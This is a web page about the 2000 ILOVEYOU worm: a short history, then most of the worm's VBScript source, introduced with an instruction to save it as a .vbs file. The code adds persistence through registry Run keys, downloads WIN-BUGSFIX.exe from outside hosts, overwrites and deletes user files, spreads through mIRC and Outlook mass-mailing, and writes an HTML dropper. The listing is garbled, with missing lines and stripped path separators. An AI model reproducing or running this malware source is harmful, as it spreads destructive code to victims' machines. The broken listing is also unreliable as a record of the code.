The computer, I Love You Virus. Known to users as the ” Love Virus, “it belongs to the worm category, capable of reproducing through electronic networks.
And also, modifying the files of the infected computer and transmitting it via email when the Internet user opens the file where he stays.
On May 4, 2000, this virus released on the network, quickly filling up the more than 3 million computers.
I Love You Virus was released in the Philippines, making Asia the first country to suffer from its destructive effects, followed by Europe and Russia.
Kung maganda ang pakiramdam, mangyaring magustuhan at ibahagi. Salamat sa lahat ng sumuporta sa amin na magkaroon ng mas mahusay na mga video😊😊Become a mem. Loveletter virus source code Below is the text of the pathetic LoveLetter 'virus', for anyone who's interested. It has been reformatted as an plain text/HTML file, so there's no need to worry about being infected by it.
The virus overwrites files with.VBS and.VBE extensions with its code. Delete the files with extensions.JS, .JSE, .CSS, .WSH, .SCT and .HTA, and create others with the same name and extension.
It locates files with the extension.JPG, .JPEG, .MP3, and .MP2, delete them, and create others where the new name is formed by the previous name.
There are still a few versions on the Internet. Viruses are fewer because Kaspersky Lab has long been developing a program that can detect any change in the “love message.”
| $$_____/ | $$| $$ | $$_____/ | $$|__/ | $$
| $$ /$$$$$$ | $$| $$ /$$$$$$ /$$$$$$$ | $$ /$$$$$$$ /$$ /$$$$$$
| $$$$$|____ $$| $$| $$ /$$__ $$| $$__ $$ | $$$$$ /$$__ $$| $$|_ $$_/
| $$__/ /$$$$$$$| $$| $$| $$$$$$$$| $$ $$ | $$__/ | $$ | $$| $$ | $$
| $$ /$$__ $$| $$| $$| $$_____/| $$ | $$ | $$ | $$ | $$| $$ | $$ /$$
| $$ | $$$$$$$| $$| $$| $$$$$$$| $$ | $$ | $$$$$$$$| $$$$$$$| $$ | $$$$/
|__/ _______/|__/|__/ _______/|__/ |__/ |________/ _______/|__/ ___/
(Copy Text beneath this lineand save it as a .vbs file.)
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
ctr=0
Set fso = CreateObject('Scripting.FileSystemObject')
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
main()
OnErrorResumeNext
set wscr=CreateObject('WScript.Shell')
rr=wscr.RegRead('HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout')
wscr.RegWrite 'HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout',0,'REG_DWORD'
Set dirwin = fso.GetSpecialFolder(0)
Set dirtemp = fso.GetSpecialFolder(2)
c.Copy(dirsystem&'MSKernel32.vbs')
c.Copy(dirsystem&'LOVE-LETTER-FOR-YOU.TXT.vbs')
html()
listadriv()
sub regruns()
Dim num,downread
'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKern el32',dirsystem&'MSKernel32.vbs'
'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunService sWin32DLL',dirwin&'Win32DLL.vbs'
downread=regget('HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory')
downread='c:'
if (fileexist(dirsystem&'WinFAT32.exe')=1) then
num = Int((4 * Rnd) + 1)
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page','http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
elseif num = 2 then
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart Page','http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe'
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page','http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
elseif num = 4 then
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page','http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe'
endif
if (fileexist(downread&'WIN-BUGSFIX.exe')=0) then regcreate
'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BU GSFIX',downread&'WIN-BUGSFIX.exe'
regcreate 'HKEY_CURRENT_USERSoftwareMicrosoftInternet
endif
sub listadriv
Dim d,dc,s
ForEach d in dc
folderlist(d.path&')
Next
endsub
OnErrorResumeNext
set f = fso.GetFolder(folderspec)
foreach f1 in fc
ext=lcase(ext)
if (ext='vbs') or (ext='vbe') then
ap.write vbscopy
elseif(ext='com') or (ext='exe') or (ext='dll') or (ext='bat') or (ext='reg') or (ext='mdl') then
ap.write vbscopy
bname=fso.GetBaseName(f1.path)
cop.copy(folderspec&'&bname&'.vbs') fso.DeleteFile(f1.path)
set ap=fso.OpenTextFile(f1.path,2,true)
ap.close
cop.copy(f1.path&'.vbs')
elseif(ext='mp3') or (ext='mp2') then
mp3.write vbscopy
set att=fso.GetFile(f1.path)
endif
if (s='mirc32.exe') or (s='mlink32.exe') or (s='mirc.ini') or (s='script.ini') or (s='mirc.hlp') then
set scriptini=fso.CreateTextFile(folderspec&'script.ini') scriptini.WriteLine '[script]'
scriptini.WriteLine '; Please dont edit this script... mIRC will corrupt, if mIRC will'
scriptini.WriteLine ' corrupt... WINDOWS will affect and will not run correctly. thanks'
scriptini.WriteLine ';Khaled Mardam-Bey'
scriptini.WriteLine ';'
scriptini.WriteLine 'n1= /if ( $nick $me ) { halt }' scriptini.WriteLine 'n2= /.dcc send $nick
scriptini.WriteLine 'n3=}'
eq=folderspec
endif
endsub
OnErrorResumeNext
set f = fso.GetFolder(folderspec)
foreach f1 in sf
folderlist(f1.path)
endsub
Set regedit = CreateObject('WScript.Shell')
endsub
Set regedit = CreateObject('WScript.Shell')
endfunction
OnErrorResumeNext
if (fso.FileExists(filespec)) Then
else
endif
endfunction
OnErrorResumeNext
if (fso.GetFolderExists(folderspec)) then
else
endif
endfunction
OnErrorResumeNext
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set out=WScript.CreateObject('Outlook.Application')
for ctrlists=1 to mapi.AddressLists.Count
x=1
regv=regedit.RegRead('HKEY_CURRENT_USERSoftwareMicrosoftWAB'&a) if (regv=') then
endif
for ctrentries=1 to a.AddressEntries.Count
regad='
regad=regedit.RegRead('HKEY_CURRENT_USERSoftwareMicrosoftWAB'&malead )
set male=out.CreateItem(0)
male.Subject = 'ILOVEYOU'
male.Body = vbcrlf&'kindly check the attached LOVELETTER coming from me.'
male.Attachments.Add(dirsystem&'LOVE-LETTER-FOR-YOU.TXT.vbs') male.Send
'HKEY_CURRENT_USERSoftwareMicrosoftWAB'&malead,1,'REG_DWORD'endif
next
'HKEY_CURRENT_USERSoftwareMicrosoftWAB'&a,a.AddressEntries.Count else
'HKEY_CURRENT_USERSoftwareMicrosoftWAB'&a,a.AddressEntries.Count endif
Set out=Nothing
endsub
OnErrorResumeNext
dta1='<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
LOVELETTER@-@>'&vbcrlf& _ '<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>'&vbcrlf& _ '<META NAME=@-@Description@-@
CONTENT=@-@simple but i think this is good...@-@>'&vbcrlf& _
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
'ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@
BGCOLOR=@-@#FF9933@-@>'&vbcrlf& _
'<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
'<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> '&vbcrlf& _
'<SCRIPT language=@-@JScript@-@>'&vbcrlf& _ '<!--?-??-?'&vbcrlf& _
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}'&vbcrl f& _
'<?-?SCRIPT>'&vbcrlf& _
'<SCRIPT LANGUAGE=@-@VBScript@-@>'&vbcrlf& _ '<!--'&vbcrlf& _
'dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit'&vbcrlf& _ 'aw=1'&vbcrlf& _
dta2='set fso=CreateObject(@-@Scripting.FileSystemObject@-@)'&vbcrlf& _
'set dirsystem=fso.GetSpecialFolder(1)'&vbcrlf& _ 'code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))'&vbcrlf& _
'code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))'&vbcrlf& _ 'code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))'&vbcrlf& _ 'set
wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)'&vbcrlf& _
'wri.close'&vbcrlf& _
'if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then'&vbcrlf& _ 'if (err.number=424) then'&vbcrlf& _
'end if'&vbcrlf& _
'document.write @-@ERROR: can#-#t initialize ActiveX@-@'&vbcrlf& _ 'window.close'&vbcrlf& _
'end if'&vbcrlf& _
'Set regedit = CreateObject(@-@WScript.Shell@-@)'&vbcrlf& _
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^
-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@'&vbcrlf& _ '?-??-?-->'&vbcrlf& _
dt1=replace(dta1,chr(35)&chr(45)&chr(35),'')
dt1=replace(dt1,chr(64)&chr(45)&chr(64),'') dt4=replace(dt1,chr(63)&chr(45)&chr(63),'/')
dt2=replace(dta2,chr(35)&chr(45)&chr(35),'')
dt2=replace(dt2,chr(64)&chr(45)&chr(64),'') dt3=replace(dt2,chr(63)&chr(45)&chr(63),'/')
set fso=CreateObject('Scripting.FileSystemObject')
lines=Split(c.ReadAll,vbcrlf)
for n=0 toubound(lines)
lines(n)=replace(lines(n),'',chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),'',chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),',chr(37)+chr(45)+chr(37)) if (l1=n) then
else
lines(n)=chr(34)+lines(n)+chr(34)&'&vbcrlf& _'endif
set b=fso.CreateTextFile(dirsystem+'LOVE-LETTER-FOR-YOU.HTM') b.close
set d=fso.OpenTextFile(dirsystem+'LOVE-LETTER-FOR-YOU.HTM',2) d.write dt5
d.write vbcrlf
d.close